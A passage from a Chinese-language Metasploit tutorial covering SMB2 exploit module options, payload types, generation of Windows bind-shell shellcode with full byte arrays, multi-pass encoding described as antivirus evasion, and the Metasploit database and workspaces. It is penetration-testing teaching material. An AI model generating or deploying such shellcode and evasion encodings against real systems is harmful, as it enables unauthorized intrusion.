   ----    ---------------  --------  -----------
   RHOST                    yes       The target address
   RPORT   445              yes       The target port
```

```
   WAIT   180              yes       The number of seconds to wait for
the attack to complete.


Exploit target:

   Id  Name
   --  ----
   0   Windows Vista SP1/SP2 and Server 2008 (x86)
```

Advanced

```
msf exploit(ms09_050_smb2_negotiate_func_index) > show advanced

Module advanced options:

   Name           : CHOST
   Current Setting:
   Description    : The local client address

   Name           : CPORT
   Current Setting:
   Description    : The local client port
...snip...
```

Evasion

```
msf exploit(ms09_050_smb2_negotiate_func_index) > show evasion
Module evasion options:

   Name           : SMB::obscure_trans_pipe_level
   Current Setting: 0
   Description    : Obscure PIPE string in TransNamedPipe (level 0-3)

   Name           : SMB::pad_data_level
   Current Setting: 0
   Description    : Place extra padding between headers and data (level 0-3)

   Name           : SMB::pad_file_level
   Current Setting: 0
   Description    : Obscure path names used in open/create (level 0-3)
...snip...
```

Payloads

Measploit 有三种不同类型的 payload: Singles, Stagers, Stages.
这些不同类型的模块有很大的通用性，在很多场景下，它们都很有效.
判断一个 payload 是否阶段性的，以 payload 名前面的'/'为准.例如:
windows/shell_bind_tcp 是一个独立的 payload 模块，
windows/shell/bind_tcp 则是由 bind_tcp(stager)与 shell(stage)组成.

Singles
独立类型的 payload，完全独立，包含自己运行所需的条件。一个独立的 payload 可以完成一些简单的任务，例如添加用户或执行计算器.

Stagers
Stagers 小而可靠，主要用于在攻击者与受害者之间建立网络连接。要一直满足上面的要求是很困难的，这就导致出现了多个类似的 stagers。如果可以，Metasploit 能够选择最合适的 stagers，当然在需要的时候，也可以选择其他的.

Windows NX vs NO-NX Stagers

- NX CPUs 和 DEP 的可靠性问题
- NX stagers 比较大(VirtualAlloc)
- 默认兼容 NX + WIN7

Stages
Stages 指那些被 Stagers 模块下载的攻击载荷组件.不同类型的 stages 攻击载荷拥有不同的特性，例如: Meterpreter,VNC Injection,iPhone 'ipwn' shell 这些都是没有大小限制的.
Stages 会自动调用'middle stagers'

- 一个单独的 recv()不能够完成大型 payloads 的接收工作.
- Stager 可以接受中型 stager
- 中型 stager 可以完成一次完整的下载
- 也比 RWX 优秀

Payload Types

Metasploit 包含许多不同类型的 payloads，每个都有它独特的作用。下面来了解一下各种类型的 payloads.

Inline(Non Staged)
一个独立的 payload，包含溢出代码和用于特定任务的 shellcode。Inline payload 较同类型的 payload 稳定，因为它们将所有的功能都集中在一起。然而，也有一些大小的有效载荷无法得到支持.

Staged
Stager payload 与 stage payload 一同用于完成指定任务。Stager 用于在攻击者与受害者间建立连接，并在远程主机上执行 stage payload.

Meterpreter
Meterpreter，是 Meta-Interpreter 的缩写，它是一个高级的，多方位的 payload。Meterpreter 驻留在远程主机的内存中，不会在磁盘上留下任何记录，这让传统的鉴定技术很难发现。脚本和插件可以按照需求动态的加载与卸载，Meterpreter 的开发也在不断的完善和强大。

PassiveX
PassiveX 可用于避开限制性出站防火墙，主要是通过 ActiveX control 创建一个隐藏的 IE 实例，使用这个新的 ActiveX control 对象，来与攻击者进行 HTTP 交互。

NoNX
NX(No eXecute)字节位属于某些 CPU 的特性，用于阻止代码从内存中执行.Windows 系统中的常见 NX 为 DEP。Metasploit NoNX 主要用于避开 DEP。

Ord
优点:

- 对 Windowx 9x 后各语言版本有效，无须严格定义一个返回地址.
- 相当小

不足:

- 依赖 ws2_32.dll，在溢出前，进程需要已经加载它.
- 较其他 stagers payload 而言，稳定性不是很好.

IPv6
用于 IPv6 网络
Reflective DLL Injection
反射型 DLL 注入，是一种将 stage payload 直接注入主机内存，不与主机磁盘交互的机制.VNC 和 Meterpreter payloads 均采用的是这种方式.

详情请查阅：
Reflective DLL Injection
http://blog.harmonysecurity.com/2008/10/new-paper-reflective-dll-injection.html

Generating Payloads

在溢出代码的开发过程中，你可能需要生成 exploit 所需的 shellcode。msfconsole 可以用于生成 payloads。当你启用一个 payload，Metasploit 会添加'generate'，'pry'，'reload'命令，其中 generate 即关注 payload 产生这一块.

```
msf > use payload/windows/shell_bind_tcp
msf payload(shell_bind_tcp) > help
...snip...

    Command       Description
    -------       -----------
    generate      Generates a payload
    pry           Open a Pry session on the current module
    reload        Reload the current module from disk
```

'generate -h'查看一下'generate'命令各参数的用法.

```
msf payload(shell_bind_tcp) > generate -h
Usage: generate [options]

Generates a payload.

OPTIONS:

    -E        Force encoding.
    -b <opt>  The list of characters to avoid: '\x00\xff'
    -e <opt>  The name of the encoder module to use.
    -f <opt>  The output file name (otherwise stdout)
    -h        Help banner.
    -i <opt>  the number of encoding iterations.
    -k        Keep the template executable functional
    -o <opt>  A comma separated list of options in VAR=VAL format.
    -p <opt>  The Platform for output.
    -s <opt>  NOP sled length.
    -t <opt>  The output format:
raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-
small,elf,macho,vba,vbs,loop-vbs,asp,war
    -x <opt>  The executable template to use
```

使用'generate'命令，不指定任何选项，可以直接生成 shellcode.

```
msf payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +
"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +
"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +
"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +
"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +
"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +
"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +
"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +
"\x6a\x00\x53\xff\xd5"
```

当然，像这样没有任何调整的 shellcode 是很少见的，大部分情况下，我们不这样做.针对目标机，破坏性的字符和特定的编码器会被使用.

上面的 shellcode 包含一个较普遍的坏字符(\x00).有些 exploits 允许我们使用它，但不多.这次让我们来去掉这个不想要的字符，生成同样的 shellcode.

为了完成这个任务，我们需要在'generate'的'-b'参数后面加上不想要的字节.

```
msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
```

```
"\xdb\xde\xba\x99\x7c\x1b\x5f\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x56\x83\xee\xfc\x31\x56\x14\x03\x56\x8d\x9e\xee\xa3" +
"\x45\xd7\x11\x5c\x95\x88\x98\xb9\xa4\x9a\xff\xca\x94\x2a" +
"\x8b\x9f\x14\xc0\xd9\x0b\xaf\xa4\xf5\x3c\x18\x02\x20\x72" +
"\x99\xa2\xec\xd8\x59\xa4\x90\x22\x8d\x06\xa8\xec\xc0\x47" +
"\xed\x11\x2a\x15\xa6\x5e\x98\x8a\xc3\x23\x20\xaa\x03\x28" +
"\x18\xd4\x26\
...snip...
```

Null 字节被成功移除，但是 shellcode 发现发生了变化，原来的是 341 字节，现在变为 368 字节，增加了 27 个字节.

在产生 shellcode 的过程中，Null 字节或者一些其他无用的字节，需要被替换(或编码),以确保我们的 shell 仍可以发挥它的作用.

另外一种选择，就是采用编码器.默认情况下，Metasploit 会使用最好的编码器来完成这项任务。
当指定坏字符，Metasploit 会使用最好的编码器.如果只是 Null 字节限制，那么会使用'x86/shikata_ga_nai'编码器.如果我们添加一些破坏性的字符，那么一个不同的编码器会被使用.

```
msf  payload(shell_bind_tcp) > generate -b
'\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
# windows/shell_bind_tcp - 366 bytes
# http://www.metasploit.com
# Encoder: x86/fnstenv_mov
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\x6a\x56\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xbf" +
"\x5c\xbf\xe8\x83\xeb\xfc\...
...snip...
```

Metasploit 有能力处理一些字符，但是如果指定的字符很多而不指定编码器，可能会出现下面的消息.

```
msf  payload(shell_bind_tcp) > generate -b
'\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b\xFF\x0a\x0b\x
01\xcc\6e\x1e\x2e\x26'
[-] Payload generation failed: No encoders encoded the buffer
successfully.
```

就像上面所提到的，Metasploit 在生成我们所需的 payload 时，会选择最合适的编码器。然而现在我们想指定一个我们需要的类型，而不是让 Metasploit 帮我们选择。想象一下一个包含非

字母数字的漏洞成功的执行。’shikata_ga_nai’编码器在这种情况下会不合适，因为它会对每个字符进行编码。
接下来看一下编码器列表：

```
msf  payload(shell_bind_tcp) > show encoders

Encoders
========

   Name                    Disclosure Date  Rank       Description
   ----                    ---------------  ----       -----------
...snip...
   x86/call4_dword_xor                      normal     Call+4 Dword XOR Encoder
   x86/context_cpuid                        manual     CPUID-based Context Keyed Payload Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/context_stat                         manual     stat(2)-based Context Keyed Payload Encoder
   x86/context_time                         manual     time(2)-based Context Keyed Payload Encoder
   x86/countdown                            normal     Single-byte XOR Countdown Encoder
   x86/fnstenv_mov                          normal     Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive                    normal     Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha                             low        Non-Alpha Encoder
   x86/nonupper                             low        Non-Upper Encoder
   x86/shikata_ga_nai                       excellent  Polymorphic XOR Additive Feedback Encoder
   x86/single_static_bit                    manual     Single Static Bit
   x86/unicode_mixed                        manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper                        manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
```

接着我们用’nonalpha’编码器来重新生成，

```
msf  payload(shell_bind_tcp) > generate -e x86/nonalpha
# windows/shell_bind_tcp - 489 bytes
# http://www.metasploit.com
# Encoder: x86/nonalpha
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\x66\xb9\xff\xff\xeb\x19\x5e\x8b\xfe\x83\xc7\x70\x8b\xd7" +
"\x3b\xf2\x7d\x0b\xb0\x7b\xf2\xae\xff\xcf\xac\x28\x07\xeb" +
"\xf1\xeb\x75\xe8\xe2\xff\xff\xff\x17\x29\x29\x29\x09\x31" +
"\x1a\x29\x24\x29\x39\x03\x07\x31\x2b\x33\x23\x32\x06\x06" +
"\x23\x23\x15\x30\x23\x37\x1a\x22\x21\x2a\x23\x21\x13\x13" +
"\x04\x08\x27\x13\x2f\x04\x27\x2b\x13\x10\x2b\x2b\x2b\x2b" +
"\x2b\x2b\x13\x28\x13\x11\x25\x24\x13\x14\x28\x24\x13\x28" +
"\x28\x24\x13\x07\x24\x13\x06\x0d\x2e\x1a\x13\x18\x0e\x17" +
"\x24\x24\x24\x11\x22\x25\x15\x37\x37\x37\x27\x2b\x25\x25" +
"\x25\x35\x25\x2d\x25\x25\x28\x25\x13\x02\x2d\x25\x35\x13" +
"\x25\x13\x06\x34\x09\x0c\x11\x28\xfc\xe8\x89\x00\x00\x00" +
...snip...
```

结果同设想的一样，我们的 payload 不包含任何字符数字。但是在使用非默认编码器的时候，我们需要注意，得到的 payload 会较大。

接下来，使用'-f'参数，将生成的 payload 输出到一个文件里面。

```
msf  payload(shell_bind_tcp) > generate -b '\x00' -e x86/shikata_ga_nai
-f /root/msfu/filename.txt
[*] Writing 1803 bytes to /root/msfu/filename.txt...
msf  payload(shell_bind_tcp) > cat ~/msfu/filename.txt
[*] exec: cat ~/msfu/filename.txt

# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xcb\xb8\x4f\xd9\x99\x0f\xd9\x74\x24\xf4\x5a\x2b\xc9" +
"\xb1\x56\x31\x42\x18\x83\xc2\x04\x03\x42\x5b\x3b\x6c\xf3" +
"\x8b\x32\x8f\x0c\x4b\x25\x19\xe9\x7a\x77\x7d\x79\x2e\x47" +
"\xf5\x2f\xc2\x2c\x5b\xc4\x51\x40\x74\xeb\xd2\xef\xa2\xc2" +
"\xe3\xc1\x6a\x88\x27\x43\x17\xd3\x7b\xa3\x26\x1c\x8e\xa2" +
"\x6f\x41\x60\xf6\x38\x0d\xd2\xe7\x4d\x53\xee\x06\x82\xdf" +
"\x4e\x71\xa7\x20\x3a\xcb\xa6\x70\x92\x40\xe0\x68\x99\x0f" +
"\xd1\x89\x4e\x4c\x2d\xc3\xfb\xa7\xc5\xd2\x2d\xf6\x26\xe5" +
...snip...
```

使用'-i'参数，就是指明在产生最终 payload 前，所需的编码次数。多次编码的目的是绕过反病毒检测。
下面对比一下进行一次编码与两次编码的 shellcode.

```
msf  payload(shell_bind_tcp) > generate -b '\x00'
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xd9\xb8\x41\x07\x94\x72\xd9\x74\x24\xf4\x5b\x2b\xc9" +
"\xb1\x56\x31\x43\x18\x03\x43\x18\x83\xeb\xbd\xe5\x61\x8e" +
"\xd5\x63\x89\x6f\x25\x14\x03\x8a\x14\x06\x77\xde\x04\x96" +
"\xf3\xb2\xa4\x5d\x51\x27\x3f\x13\x7e\x48\x88\x9e\x58\x67" +
"\x09\x2f\x65\x2b\xc9\x31\x19\x36\x1d\x92\x20\xf9\x50\xd3" +
"\x65\xe4\x9a\x81\x3e\x62\x08\x36\x4a\x36\x90\x37\x9c\x3c" +
...snip...
```

```
msf  payload(shell bind tcp) > generate -b '\x00' -i 2
# windows/shell_bind_tcp - 395 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
```

```
buf =
"\xbd\xea\x95\xc9\x5b\xda\xcd\xd9\x74\x24\xf4\x5f\x31\xc9" +
"\xb1\x5d\x31\x6f\x12\x83\xc7\x04\x03\x85\x9b\x2b\xae\x80" +
"\x52\x72\x25\x16\x6f\x3d\x73\x9c\x0b\x38\x26\x11\xdd\xf4" +
"\x80\xd2\x1f\xf2\x1d\x96\x8b\xf8\x1f\xb7\x9c\x8f\x65\x96" +
"\xf9\x15\x99\x69\x57\x18\x7b\x09\x1c\xbc\xe6\xb9\xc5\xde" +
"\xc1\x81\xe7\xb8\xdc\x3a\x51\xaa\x34\xc0\x82\x7d\x6e\x45" +
"\xeb\x2b\x27\x08\x79\xfe\x8d\xe3\x2a\xed\x14\xe7\x46\x45" +
...snip...
```

对比上面的两种编码情况，我们会发现：

1．2 次编码得到的 payload 较 1 次大。

2．1 次编码与 2 次编码，部分 code 相同(查阅黄色部分)

也就是说，第二次编码只是对第一次黄色代码下面的部分进行处理。

下面来看一下 5 次编码后的结果.

```
msf  payload(shell_bind_tcp) > generate -b '\x00' -i 5
# windows/shell_bind_tcp - 476 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xb8\xea\x18\x9b\x0b\xda\xc4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x71\x31\x43\x13\x83\xeb\xfc\x03\x43\xe5\xfa\x6e\xd2" +
"\x31\x23\xe4\xc1\x35\x8f\x36\xc3\x0f\x94\x11\x23\x54\x64" +
"\x0b\xf2\xf9\x9f\x4f\x1f\x01\x9c\x1c\xf5\xbf\x7e\xe8\xc5" +
"\x94\xd1\xbf\xbb\x96\x64\xef\xc1\x10\x9e\x38\x45\x1b\x65" +
...snip...
```

代码较之前大，也与之前的 shellcode 没有相似之处。

如果想要自行指定 payload 参数，可先使用’show options’查看 payload 的参数.

```
msf  payload(shell_bind_tcp) > show options

Module options (payload/windows/shell_bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process,
none
   LPORT     4444             yes       The listen port
   RHOST                      no        The target address
```

然后使用’-o’改变参数值，

```
msf  payload(shell_bind_tcp) > generate -o LPORT=1234,EXITFUNC=seh -b
'\x00' -e x86/shikata_ga_nai
# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
```

```
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xdb\xd1\xd9\x74\x24\xf4\xbb\x93\x49\x9d\x3b\x5a\x29\xc9" +
"\xb1\x56\x83\xc2\x04\x31\x5a\x14\x03\x5a\x87\xab\x68\xc7" +
"\x4f\xa2\x93\x38\x8f\xd5\x1a\xdd\xbe\xc7\x79\x95\x92\xd7" +
"\x0a\xfb\x1e\x93\x5f\xe8\x95\xd1\x77\x1f\x1e\x5f\xae\x2e" +
"\x9f\x51\x6e\xfc\x63\xf3\x12\xff\xb7\xd3\x2b\x30\xca\x12" +
"\x6b\x2d\x24\x46\x24\x39\x96\x77\x41\x7f\x2a\x79\x85\x0b" +
"\x12\x01\xa0\xcc\xe6\xbb\xab\x1c\x56\xb7\xe4\x84\xdd\x9f" +
...snip...
```

Metasploit 默认生成的是'ruby'格式的 payload，虽然 ruby 很强大，很流行，但并不是人人都用它来开发代码。我们可以使用'-t'参数，按照自己的需求生成对应的 shellcode。

```
msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...
```

```
msf  payload(shell_bind_tcp) > generate -t c
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
 * InitialAutoRunScript=, AutoRunScript=
 */
unsigned char buf[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
...snip...
```

```
msf  payload(shell_bind_tcp) > generate -t java
/*
 * windows/shell_bind_tcp - 341 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
 * InitialAutoRunScript=, AutoRunScript=
```

```
 */
byte shell[] = new byte[]
{
          (byte) 0xfc, (byte) 0xe8, (byte) 0x89, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x60, (byte) 0x89,
          (byte) 0xe5, (byte) 0x31, (byte) 0xd2, (byte) 0x64, (byte) 0x8b, (byte) 0x52, (byte) 0x30, (byte) 0x8b,
          (byte) 0x52, (byte) 0x0c, (byte) 0x8b, (byte) 0x52, (byte) 0x14, (byte) 0x8b, (byte) 0x72, (byte) 0x28,
          (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x26, (byte) 0x31, (byte) 0xff, (byte) 0x31, (byte) 0xc0,
          (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0xc1,
...snip...
```

如果需要添加 NOP(不执行 或 接下来执行)sled，可以使用参数'-s'加上 NOPs 数。这样在我们的 payload 起始位置就会添加指定长度的 NOPs sled。请记住 sled 越大，payload 也就越大。

```
msf  payload(shell_bind_tcp) > generate
# windows/shell_bind_tcp - 341 bytes
# http://www.metasploit.com
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...
```

```
msf  payload(shell_bind_tcp) > generate -s 14
# windows/shell_bind_tcp - 355 bytes
# http://www.metasploit.com
# NOP gen: x86/opty2
# VERBOSE=false, LPORT=4444, RHOST=, EXITFUNC=process,
# InitialAutoRunScript=, AutoRunScript=
buf =
"\xb9\xd5\x15\x9f\x90\x04\xf8\x96\x24\x34\x1c\x98\x14\x4a" +
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
...snip...
```

Databases

在完成一次渗透测试的时候，记录目标网络的所有是一项很有挑战性的任务。Metasploit Postgresql 数据库的出现就是为了节约时间。
这样，我们有能力快速访问扫描信息，导入导出第三方工具的结果。更重要的是，这让我们的结果结构清晰。

```
msf  payload(shell_bind_tcp) > help Database

Database Backend Commands
=========================

    Command           Description
    -------           -----------
    creds             List all credentials in the database
    db_connect        Connect to an existing database
    db_disconnect     Disconnect from the current database instance
    db_export         Export a file containing the contents of the database
    db_import         Import a scan result file (filetype will be auto-detected)
    db_nmap           Executes nmap and records the output automatically
    db_rebuild_cache  Rebuilds the database-stored module cache
    db_status         Show the current database status
    hosts             List all hosts in the database
    loot              List all loot in the database
    notes             List all notes in the database
    services          List all services in the database
    vulns             List all vulnerabilities in the database
    workspace         Switch between database workspaces



msf > hosts

Hosts
=====

address         mac  name     os_name           os_flavor  os_sp  purpose  info  comments
-------         ---  ----     -------           ---------  -----  -------  ----  --------
192.168.100.140      NIX-III  Microsoft Windows  7          SP1    client


msf > services -p 21

Services
========

host             port  proto  name  state  info
----             ----  -----  ----  -----  ----
172.16.194.172   21    tcp    ftp   open   vsftpd 2.3.4
```

Using the Database

Contents

在 Backtrack 5 中，Metasploit 自带 PostgreSQL，监听端口是 7337，所需无须其他配置。我们可以在'msfconsole'中使用'db_status'来确认 Metasploit 已经成功连接数据库.

注：数据库配置文件位于/opt/metasploit/apps/pro/ui/config/database.yml

```
development:
  adapter: "postgresql"
  database: "msf3"
  username: "msf3"
  password: "4bfedfd3"
  port: 7337
  host: "localhost"
  pool: 256
  timeout: 5

production:
  adapter: "postgresql"
  database: "msf3"
  username: "msf3"
  password: "4bfedfd3"
  port: 7337
  host: "localhost"
  pool: 256
  timeout: 5
```

```
msf > db_status
[*] postgresql connected to msf3
```

一旦连接到数据库，我们就可以使用'workspace'组织一次不同的动作。使用 workspace 我们可以保存不同区域/网络/子网的不同结果。使用 workspace 会显示出当前工作区列表，'default'是连接到数据库时默认使用的工作区，名称前有 *显示。

```
msf > workspace
* default
  msfu
  lab1
  lab2
  lab3
  lab4
msf >
```

如果想要改变当前工作区域，可以使用'workspace name'，例如：

```
msf > workspace msfu
[*] Workspace: msfu
msf > workspace
  default
* msfu
  lab1
  lab2
  lab3
  lab4
msf >
```

创建和删除工作区域，分别使用'-a'和'-d'，

```
msf > workspace -a lab4
[*] Added workspace: lab4
msf >


msf > workspace -d lab4
[*] Deleted workspace: lab4
msf > workspace
```

如果想要了解更多关于 workspace 的用法，请使用'-h'

```
msf > workspace -h
Usage:
    workspace                  List workspaces
    workspace [name]           Switch workspace
    workspace -a [name] ...    Add workspace(s)
    workspace -d [name] ...    Delete workspace(s)
    workspace -r <old> <new>   Rename workspace
    workspace -h               Show this help information

msf >
```

Importing & Scanning

使用'db_import'可以导入我们需要的文件(以某些格式 XML 为主)。
如果想要导入一次 nmap 的扫描结果，可以使用下面方法.

```
msf >  db_import /root/msfu/nmapScan
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Rex::Parser::NmapXMLStreamParser'
[*] Importing host 172.16.194.172
[*] Successfully imported /root/msfu/nmapScan
msf > hosts

Hosts
=====

address         mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------         ---                ----  -------  ---------  -----  -------  ----  --------
172.16.194.172  00:0C:29:D1:62:80        Linux    Ubuntu             server

msf >
```

导入完成以后，我们可以使用'hosts'命令来查看这次的导入，当前工作区域的主机都会显示出来。我们可以直接使用'db_nmap'进行扫描，扫描的结果会保存在当前数据库中。这个命令等效于命令行下的'nmap'。

```
msf > db_nmap -V
[*] Nmap: Nmap version 5.61TEST4 ( http://nmap.org )
[*] Nmap: Platform: i686-pc-linux-gnu
[*] Nmap: Compiled with: nmap-liblua-5.1.3 openssl-0.9.8x libpcre-8.30
libpcap-1.2.1 nmap-libdnet-1.12 ipv6
```

建议使用新版的 nmap，然后导入结果。

Backing Up

将 Metasploit 数据导出，我们可以使用'db_export'，以 XML 文件格式保存。这种格式的文件使用起来很便利，也可用于后期产生报告。这个命令有两种输出格式，'XML'格式可以导出工作区域所有的信息，'pwdump'格式用于导出证书相关的信息。

```
msf >  db_export -h
Usage:
    db_export -f  [-a] [filename]
    Format can be one of: xml, pwdump
[-] No output file was specified

msf > db_export -f xml /root/msfu/Exported.xml
[*] Starting export of workspace msfu to /root/msfu/Exported.xml
[ xml ]...
[*]     >> Starting export of report
[*]     >> Starting export of hosts
```

```
[*]      >> Starting export of events
[*]      >> Starting export of services
[*]      >> Starting export of credentials
[*]      >> Starting export of web sites
[*]      >> Starting export of web pages
[*]      >> Starting export of web forms
[*]      >> Starting export of web vulns
[*]      >> Finished export of report
[*] Finished export of workspace msfu to /root/msfu/Exported.xml
[ xml ]...
```

Hosts

```
msf > hosts -h
Usage: hosts [ options ] [addr1 addr2 ...]

OPTIONS:
  -a,--add          Add the hosts instead of searching
  -d,--delete       Delete the hosts instead of searching
  -c <col1,col2>    Only show the given columns (see list below)
  -h,--help         Show this help information
  -u,--up           Only show hosts which are up
  -o <file>         Send output to a file in csv format
  -R,--rhosts       Set RHOSTS from the results of the search
  -S,--search       Search string to filter by

Available columns: address, arch, comm, comments, created_at, info, mac,
name, note_count, os_flavor,
 os_lang, os_name, os_sp, purpose, scope, service_count, state,
updated_at, virtual_host, vuln_count
```

使用'-c'查看指定列对应的信息，

```
msf > hosts -c address,os_flavor

Hosts
=====

address         os_flavor
-------         ---------
172.16.194.134  XP
172.16.194.172  Ubuntu
```

Setting up Modules

另外一个很有吸引力的特性是，它有能力查询所有条目，用于指定目的。设想如果我们希望找到 Linux 类型的主机用于扫描，我们可以使用'-S'参数.

```
msf > hosts -c address,os_flavor -S Linux

Hosts
=====

address          os_flavor
-------          ---------
172.16.194.172   Ubuntu

msf >
```

```
msf  auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   FILTER                        no        The filter string for capturing traffic
